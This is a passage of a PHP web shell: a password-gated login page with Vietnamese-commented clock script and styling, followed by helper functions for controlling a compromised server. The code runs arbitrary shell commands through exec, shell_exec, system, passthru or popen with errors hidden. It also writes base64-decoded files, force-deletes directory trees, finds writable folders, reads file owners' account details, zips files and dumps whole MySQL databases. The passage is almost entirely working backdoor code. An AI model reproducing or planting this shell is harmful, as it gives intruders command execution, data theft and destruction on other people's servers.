src="http://code.jquery.com/jquery-1.6.4.min.js"></script><script type="text/javascript">$(document).ready(function() {// Tao 2 mang chua ten ngay thangvar monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ];var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"] // Tao moi doi tuong Date()var newDate = new Date();// Lay gia tri thoi gian hien tainewDate.setDate(newDate.getDate());// Xuat ngay thang, nam$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear()); setInterval( function() {    // lay gia tri giay trong doi tuong Date()    var seconds = new Date().getSeconds();    // Chen so 0 vao dang truoc gia tri giay    $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);    },1000); setInterval( function() {    // Tuong tu lay gia tri phut    var minutes = new Date().getMinutes();    // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10    $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);    },1000); setInterval( function() {    // Lay gia tri gio hien tai    var hours = new Date().getHours();    // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10    $("#hours").html(( hours < 10 ? "0" : "" ) + hours);    }, 1000);});</script><div align="center">	<div>	<form method="POST" action="" class="form-3">	 <p class="clearfix">        <label for="login">Username</label>        <input type="text" placeholder="Username">    </p>    <p class="clearfix">		<label for="password">Password</label>        <input type="password" name="password" id="password" placeholder="Password">		<input type="hidden" name="doing" value="login">		 <input type="submit" name="submit" value="ShinJj">	</p>		</form>	<br>	</font></div>	</font></div>	<style>	/* GLOBALS */ *,*:after,*:before {    -webkit-box-sizing: border-box;    -moz-box-sizing: border-box;    -ms-box-sizing: border-box;    -o-box-sizing: border-box;    box-sizing: border-box;    padding: 0;    margin: 0;} .clearfix:after {    content: "";    display: table;    clear: both;} .form-3 {    font-family: 'Ubuntu', 'Lato', sans-serif;    font-weight: 400;    /* Size and position */    width: 300px;    position: relative;    margin: 60px auto 30px;    padding: 10px;    overflow: hidden;     /* Styles */    background: #111;    border-radius: 0.4em;    border: 1px solid #191919;    box-shadow:        inset 0 0 2px 1px rgba(255,255,255,0.08),        0 16px 10px -8px rgba(0, 0, 0, 0.6);} .form-3 label {    /* Size and position */    width: 50%;    float: left;    padding-top: 9px;     /* Styles */    color: #ddd;    font-size: 12px;    text-transform: uppercase;    letter-spacing: 1px;    text-shadow: 0 1px 0 #000;    text-indent: 10px;    font-weight: 700;    cursor: pointer;} .form-3 input[type=text],.form-3 input[type=password] {    /* Size and position */    width: 50%;    float: left;    padding: 8px 5px;    margin-bottom: 10px;    font-size: 12px;     /* Styles */    background: linear-gradient(#1f2124, #27292c);    border: 1px solid #000;    box-shadow:        0 1px 0 rgba(255,255,255,0.1);    border-radius: 3px;     /* Font styles */    font-family: 'Ubuntu', 'Lato', sans-serif;    color: #fff; } .form-3 input[type=text]:hover,.form-3 input[type=password]:hover,.form-3 label:hover ~ input[type=text],.form-3 label:hover ~ input[type=password] {    background: #27292c;} .form-3 input[type=text]:focus,.form-3 input[type=password]:focus {    box-shadow: inset 0 0 2px #000;    background: #494d54;    border-color: #51cbee;    outline: none; /* Remove Chrome outline */} .form-3 p:nth-child(3),.form-3 p:nth-child(4) {    float: left;    width: 50%;} .form-3 label[for=remember] {    width: auto;    float: none;    display: inline-block;    text-transform: capitalize;    font-size: 11px;    font-weight: 400;    letter-spacing: 0px;    text-indent: 2px;} .form-3 input[type=checkbox] {    margin-left: 10px;    vertical-align: middle;} .form-3 input[type=submit] {    /* Width and position */    width: 100%;    padding: 8px 5px;     /* Styles */    border: 1px solid #0273dd; /* Fallback */    border: 1px solid rgba(0,0,0,0.4);    box-shadow:        inset 0 1px 0 rgba(255,255,255,0.3),        inset 0 10px 10px rgba(255,255,255,0.1);    border-radius: 3px;    background: #38a6f0;    cursor:pointer;     /* Font styles */    font-family: 'Ubuntu', 'Lato', sans-serif;    color: white;    font-weight: 700;    font-size: 15px;    text-shadow: 0 -1px 0 rgba(0,0,0,0.8);} .form-3 input[type=submit]:hover {    box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);} .form-3 input[type=submit]:active {    background: #287db5;    box-shadow: inset 0 0 3px rgba(0,0,0,0.6);    border-color: #000; /* Fallback */    border-color: rgba(0,0,0,0.9);} .no-boxshadow .form-3 input[type=submit]:hover {    background: #2a92d8;} /* Gradient line */.form-3:after {    /* Size and position */    content: "";    height: 1px;    width: 33%;    position: absolute;    left: 20%;    top: 0;     /* Styles */    background: linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);} /* Small flash */.form-3:before {    /* Size and position */    content: "";    width: 8px;    height: 5px;    position: absolute;    left: 34%;    top: -7px;     /* Styles */    border-radius: 50%;    box-shadow: 0 0 6px 4px #fff;} .form-3 p:nth-child(1):before{    /* Size and position */    content: "";    width: 250px;    height: 100px;    position: absolute;    top: 0;    left: 45px;     /* Styles */    transform: rotate(75deg);    background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));    pointer-events: none;} .no-pointerevents .form-3 p:nth-child(1):before {    display: none;}</style><aside class="container">  <input type="checkbox" id="menu__trigger">  <section class="menu">    <!--<label for="menu__trigger" class="entypo-cancel"></label>-->    <nav>      <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>      <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>      <a href="http://google.com">3. Website</a>      <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>	  <a href="https://google.com">5. Google</a>      <a href="/">6. Trang ch&#7911;</a>    </nav>  </section>     <section class="content">    <label for="menu__trigger" class="entypo-menu"></label>  </section></aside><style>[class*="entypo-"]:before {  font-family: 'entypo', sans-serif;}[class*="entypo-"]:before {  font-family: 'entypo', sans-serif;} html {  min-height: 100%;  min-width: 100%;}html body {  min-height: 100%;  min-width: 100%;  font-family: 'Lato', sans-serif;}html body input[type="checkbox"] {  position: absolute;  height: 0;  width: 0;  display: none;}html body input[type="checkbox"]:checked ~ .menu nav a {  -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);  transform: translate3d(0px, 0, 0) rotateY(0deg);  -webkite-transform-style: preserve-3d;  transform-style: preserve-3d;  -webkit-transition: all .4s ease-in-out;  transition: all .4s ease-in-out;  background: #252525;  color: #fff;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {  -webkit-transition-delay: .1s;  transition-delay: .1s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {  -webkit-transition-delay: .2s;  transition-delay: .2s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {  -webkit-transition-delay: .3s;  transition-delay: 0.3s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {  -webkit-transition-delay: .4s;  transition-delay: .4s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {  -webkit-transition-delay: .5s;  transition-delay: 0.5s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {  -webkit-transition-delay: .6s;  transition-delay: 0.6s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {  -webkit-transition-delay: .7s;  transition-delay: 0.7s;}html body section.menu {  position: fixed;  z-index: 10;  top: 0;  bottom: 0;  min-height: 100%;}html body section.menu nav {  padding-top: 4rem;  -webkit-perspective: 20rem;  perspective: 20rem;}html body section.menu nav a {  display: block;  width: 12rem;  padding: 1.25rem 0rem 1.25rem 1.75rem;  background: #222;  border-bottom: 1px solid #2a2a2a;  box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;  color: #fff;  letter-spacing: 1.5px;  font-weight: 300;  font-size: 1.25rem;  text-decoration: none;  -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);  transform: translate3d(-100%, 0, 0) rotateY(90deg);  -webkit-transform-origin: 0% 50%;  transform-origin: 0% 50%;  -webkit-transform-style: preserve-3d;  transform-style: preserve-3d;  -webkit-transition: all .25s ease-in-out;  transition: all .25s ease-in-out;}html body section.menu nav a:nth-child(1) {  -webkit-transition-delay: .235s;  transition-delay: .235s;}html body section.menu nav a:nth-child(2) {  -webkit-transition-delay: .2s;  transition-delay: .2s;}html body section.menu nav a:nth-child(3) {  -webkit-transition-delay: .165s;  transition-delay: .165s;}html body section.menu nav a:nth-child(4) {  -webkit-transition-delay: .13s;  transition-delay: .13s;}html body section.menu nav a:nth-child(5) {  -webkit-transition-delay: .095s;  transition-delay: .095s;}html body section.menu nav a:nth-child(6) {  -webkit-transition-delay: .06s;  transition-delay: .06s;}html body section.menu nav a:nth-child(7) {  -webkit-transition-delay: .25s;  transition-delay: .025s;}html body section.content label {  position: fixed;  z-index: 1000;  padding: 1rem 1.5rem;  background: #222;  font-size: 2rem;  line-height: 2rem;  color: #fff;  cursor: pointer;}html body section.content h1 {  display: table-cell;  vertical-align: middle;  text-align: center;  font-size: 3rem;  letter-spacing: 1px;  color: #fff;}</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface  - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface  - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a><BR><?phpecho "".$err_mess."";?></div>	</fieldset></head></html><?php	exit;}//end loginpagefunction execute($cfe) {	$res = '';	if ($cfe) {		if(function_exists('exec')) {			@exec($cfe,$res);			$res = join("\n",$res);		} elseif(function_exists('shell_exec')) {			$res = @shell_exec($cfe);		} elseif(function_exists('system')) {			@ob_start();			@system($cfe);			$res = @ob_get_contents();			@ob_end_clean();		} elseif(function_exists('passthru')) {			@ob_start();			@passthru($cfe);			$res = @ob_get_contents();			@ob_end_clean();		} elseif(@is_resource($f = @popen($cfe,"r"))) {			$res = '';			while(!@feof($f)) {				$res .= @fread($f,1024);			}			@pclose($f);		}	}	return $res;}function which($pr) {	$path = execute("which $pr");	return ($path ? $path : $pr);}function cf($fname,$text){	if($fp=@fopen($fname,'w')) {		@fputs($fp,@base64_decode($text));		@fclose($fp);	}}// Debugfunction debuginfo() {	global $starttime;	$mtime = explode(' ', microtime());	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);	echo 'Processed in '.$totaltime.' second(s)';}// Function connect databasefunction dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {		p('<h2>Can not connect to MySQL server</h2>');		exit;	}	if($link && $dbname) {		if (!@mysql_select_db($dbname, $link)) {			p('<h2>Database selected has error</h2>');			exit;		}	}	if($link && mysql_get_server_info() > '4.1') {		if(in_array(strtolower($charset), array('utf-8', 'big5', 'utf8'))) {			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);		}	}	return $link;}// Array stripfunction s_array(&$array) {	if (is_array($array)) {		foreach ($array as $k => $v) {			$array[$k] = s_array($v);		}	} else if (is_string($array)) {		$array = stripslashes($array);	}	return $array;}// HTML Stripfunction html_clean($content) {	$content = htmlspecialchars($content);	$content = str_replace("\n", "<br />", $content);	$content = str_replace("  ", "&nbsp;&nbsp;", $content);	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);	return $content;}// Chmodfunction getChmod($filepath){	return substr(base_convert(@fileperms($filepath),10,8),-4);}function getPerms($filepath) {	$mode = @fileperms($filepath);	if (($mode & 0xC000) === 0xC000) {$type = 's';}	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}	elseif (($mode & 0x8000) === 0x8000) {$type = '-';}	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}	else {$type = '?';}	$owner['read'] = ($mode & 00400) ? 'r' : '-';	$owner['write'] = ($mode & 00200) ? 'w' : '-';	$owner['execute'] = ($mode & 00100) ? 'x' : '-';	$group['read'] = ($mode & 00040) ? 'r' : '-';	$group['write'] = ($mode & 00020) ? 'w' : '-';	$group['execute'] = ($mode & 00010) ? 'x' : '-';	$world['read'] = ($mode & 00004) ? 'r' : '-';	$world['write'] = ($mode & 00002) ? 'w' : '-';	$world['execute'] = ($mode & 00001) ? 'x' : '-';	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];}function getUser($filepath)	{	if (function_exists('posix_getpwuid')) {		$array = @posix_getpwuid(@fileowner($filepath));		if ($array && is_array($array)) {			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';		}	}	return '';}// Delete dirfunction deltree($deldir) {	$mydir=@dir($deldir);	while($file=$mydir->read())	{		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {			@chmod($deldir.'/'.$file,0777);			deltree($deldir.'/'.$file);		}		if (is_file($deldir.'/'.$file)) {			@chmod($deldir.'/'.$file,0777);			@unlink($deldir.'/'.$file);		}	}	$mydir->close();	@chmod($deldir,0777);	return @rmdir($deldir) ? 1 : 0;}// Backgroundfunction bg() {	global $bgc;	return ($bgc++%2==0) ? 'alt1' : 'alt2';}// Get pathfunction getPath($scriptpath, $nowpath) {	if ($nowpath == '.') {		$nowpath = $scriptpath;	}	$nowpath = str_replace('\\', '/', $nowpath);	$nowpath = str_replace('//', '/', $nowpath);	if (substr($nowpath, -1) != '/') {		$nowpath = $nowpath.'/';	}	return $nowpath;}// Get up pathfunction getUpPath($nowpath) {	$pathdb = explode('/', $nowpath);	$num = count($pathdb);	if ($num > 2) {		unset($pathdb[$num-1],$pathdb[$num-2]);	}	$uppath = implode('/', $pathdb).'/';	$uppath = str_replace('//', '/', $uppath);	return $uppath;}// Configfunction getcfg($varname) {	$result = get_cfg_var($varname);	if ($result == 0) {		return 'No';	} elseif ($result == 1) {		return 'Yes';	} else {		return $result;	}}// Function namefunction getfun($funName) {	return (false !== function_exists($funName)) ? 'Yes' : 'No';}function GetList($dir){	global $dirdata,$j,$nowpath;	!$j && $j=1;	if ($dh = opendir($dir)) {		while ($file = readdir($dh)) {			$f=str_replace('//','/',$dir.'/'.$file);			if($file!='.' && $file!='..' && is_dir($f)){				if (is_writable($f)) {					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));					$dirdata[$j]['dirchmod']=getChmod($f);					$dirdata[$j]['dirperm']=getPerms($f);					$dirdata[$j]['dirlink']=ue($dir);					$dirdata[$j]['server_link']=$f;					$dirdata[$j]['client_link']=ue($f);					$j++;				}				GetList($f);			}		}		closedir($dh);		clearstatcache();		return $dirdata;	} else {		return array();	}}function qy($sql) {	//echo $sql.'<br>';	$res = $error = '';	if(!$res = @mysql_query($sql)) {		return 0;	} else if(is_resource($res)) {		return 1;	} else {		return 2;	}	return 0;}function q($sql) {	return @mysql_query($sql);}function fr($qy){	mysql_free_result($qy);}function sizecount($size) {	if($size > 1073741824) {		$size = round($size / 1073741824 * 100) / 100 . ' G';	} elseif($size > 1048576) {		$size = round($size / 1048576 * 100) / 100 . ' M';	} elseif($size > 1024) {		$size = round($size / 1024 * 100) / 100 . ' K';	} else {		$size = $size . ' B';	}	return $size;}// Zipclass PHPZip{	var $out='';	function PHPZip($dir)	{		if (@function_exists('gzcompress'))	{			$curdir = getcwd();			if (is_array($dir)) $filelist = $dir;			else{				$filelist=$this -> GetFileList($dir);//File list				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);			}			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);			else chdir($curdir);			if (count($filelist)>0){				foreach($filelist as $filename){					if (is_file($filename)){						$fd = fopen ($filename, 'r');						$content = @fread ($fd, filesize($filename));						fclose ($fd);						if (is_array($dir)) $filename = basename($filename);						$this -> addFile($content, $filename);					}				}				$this->out = $this -> file();				chdir($curdir);			}			return 1;		}		else return 0;	}	// Show file list	function GetFileList($dir){		static $a;		if (is_dir($dir)) {			if ($dh = opendir($dir)) {				while ($file = readdir($dh)) {					if($file!='.' && $file!='..'){						$f=$dir .'/'. $file;						if(is_dir($f)) $this->GetFileList($f);						$a[]=$f;					}				}				closedir($dh);			}		}		return $a;	}	var $datasec      = array();	var $ctrl_dir     = array();	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";	var $old_offset   = 0;	function unix2DosTime($unixtime = 0) {		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);		if ($timearray['year'] < 1980) {			$timearray['year']    = 1980;			$timearray['mon']     = 1;			$timearray['mday']    = 1;			$timearray['hours']   = 0;			$timearray['minutes'] = 0;			$timearray['seconds'] = 0;		} // end if		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);	}	function addFile($data, $name, $time = 0) {		$name = str_replace('\\', '/', $name);		$dtime = dechex($this->unix2DosTime($time));		$hexdtime	= '\x' . $dtime[6] . $dtime[7]					. '\x' . $dtime[4] . $dtime[5]					. '\x' . $dtime[2] . $dtime[3]					. '\x' . $dtime[0] . $dtime[1];		eval('$hexdtime = "' . $hexdtime . '";');		$fr	= "\x50\x4b\x03\x04";		$fr	.= "\x14\x00";		$fr	.= "\x00\x00";		$fr	.= "\x08\x00";		$fr	.= $hexdtime;		$unc_len = strlen($data);		$crc = crc32($data);		$zdata = gzcompress($data);		$c_len = strlen($zdata);		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);		$fr .= pack('V', $crc);		$fr .= pack('V', $c_len);		$fr .= pack('V', $unc_len);		$fr .= pack('v', strlen($name));		$fr .= pack('v', 0);		$fr .= $name;		$fr .= $zdata;		$fr .= pack('V', $crc);		$fr .= pack('V', $c_len);		$fr .= pack('V', $unc_len);		$this -> datasec[] = $fr;		$new_offset = strlen(implode('', $this->datasec));		$cdrec = "\x50\x4b\x01\x02";		$cdrec .= "\x00\x00";		$cdrec .= "\x14\x00";		$cdrec .= "\x00\x00";		$cdrec .= "\x08\x00";		$cdrec .= $hexdtime;		$cdrec .= pack('V', $crc);		$cdrec .= pack('V', $c_len);		$cdrec .= pack('V', $unc_len);		$cdrec .= pack('v', strlen($name) );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('V', 32 );		$cdrec .= pack('V', $this -> old_offset );		$this -> old_offset = $new_offset;		$cdrec .= $name;		$this -> ctrl_dir[] = $cdrec;	}	function file() {		$data    = implode('', $this -> datasec);		$ctrldir = implode('', $this -> ctrl_dir);		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";	}}// Dump mysqlfunction sqldumptable($table, $fp=0) {	$tabledump = "DROP TABLE IF EXISTS $table;\n";	$tabledump .= "CREATE TABLE $table (\n";	$firstfield=1;	$fields = q("SHOW FIELDS FROM $table");	while ($field = mysql_fetch_array($fields)) {		if (!$firstfield) {			$tabledump .= ",\n";		} else {			$firstfield=0;		}		$tabledump .= "   $field[Field] $field[Type]";		if (!empty($field["Default"])) {			$tabledump .= " DEFAULT '$field[Default]'";		}		if ($field['Null'] != "YES") {			$tabledump .= " NOT NULL";		}		if ($field['Extra'] != "") {			$tabledump .= " $field[Extra]";		}	}	fr($fields);	$keys = q("SHOW KEYS FROM $table");	while ($key = mysql_fetch_array($keys)) {		$kname=$key['Key_name'];		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {			$kname="UNIQUE|$kname";		}		if(!is_array($index[$kname])) {			$index[$kname] = array();		}		$index[$kname][] = $key['Column_name'];	}	fr($keys);	while(list($kname, $columns) = @each($index)) {		$tabledump .= ",\n";		$colnames=implode($columns,",");		if ($kname == "PRIMARY") {			$tabledump .= "   PRIMARY KEY ($colnames)";		} else {			if (substr($kname,0,6) == "UNIQUE") {				$kname=substr($kname,7);			}			$tabledump .= "   KEY $kname ($colnames)";		}	}	$tabledump .= "\n);\n\n";	if ($fp) {		fwrite($fp,$tabledump);	} else {		echo $tabledump;	}	$rows = q("SELECT * FROM $table");	$numfields = mysql_num_fields($rows);	while ($row = mysql_fetch_array($rows)) {		$tabledump = "INSERT INTO $table VALUES(";		$fieldcounter=-1;		$firstfield=1;		while (++$fieldcounter<$numfields) {			if (!$firstfield) {				$tabledump.=", ";			} else {				$firstfield=0;			}			if (!isset($row[$fieldcounter])) {				$tabledump .= "NULL";			} else {				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";			}		}		$tabledump .= ");\n";		if ($fp) {			fwrite($fp,$tabledump);		} else {			echo $tabledump;		}	}	fr($rows);	if ($fp) {		fwrite($fp,"\n");	} else {		echo "\n";	}}function ue($str){	return urlencode($str);}function p($str){	echo $str."\n";}function tbhead() {	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){	p('</table>');}function makehide($name,$value=''){	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");}function makeinput($arg = array()){	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';	!$arg['type'] && $arg['type'] = 'text';	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';	if ($arg['newline']) {		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");	} else {		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");	}}function makeselect($arg = array()){	if ($arg['onchange']) {		$onchange = 'onchange="'.$arg['onchange'].'"';	}	$arg['title'] = $arg['title'] ? $arg['title'] : '';	if ($arg['newline']) p('<p>');	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");		if (is_array($arg['option'])) {			foreach ($arg['option'] as $key=>$value) {				if ($arg['selected']==$key) {					p("<option value=\"$key\" selected>$value</option>");				} else {					p("<option value=\"$key\">$value</option>");				}			}		}	p("</select>");	if ($arg['newline']) p('</p>');}function formhead($arg = array()) {	!$arg['method'] && $arg['method'] = 'post';	!$arg['action'] && $arg['action'] = $self;	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';	!$arg['name'] && $arg['name'] = 'form1';	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");	if ($arg['title']) {		p('<h2>'.$arg['title'].' &raquo;</h2>');	}}function maketext($arg = array()){	!$arg['cols'] && $arg['cols'] = 100;	!$arg['rows'] && $arg['rows'] = 25;	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ''){	!$name && $name = 'submit';	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');	p('</form>');}function formfoot(){	p('</form>');}// Exitfunction pr($a) {	echo '<pre>';	print_r($a);	echo '</pre>';}?>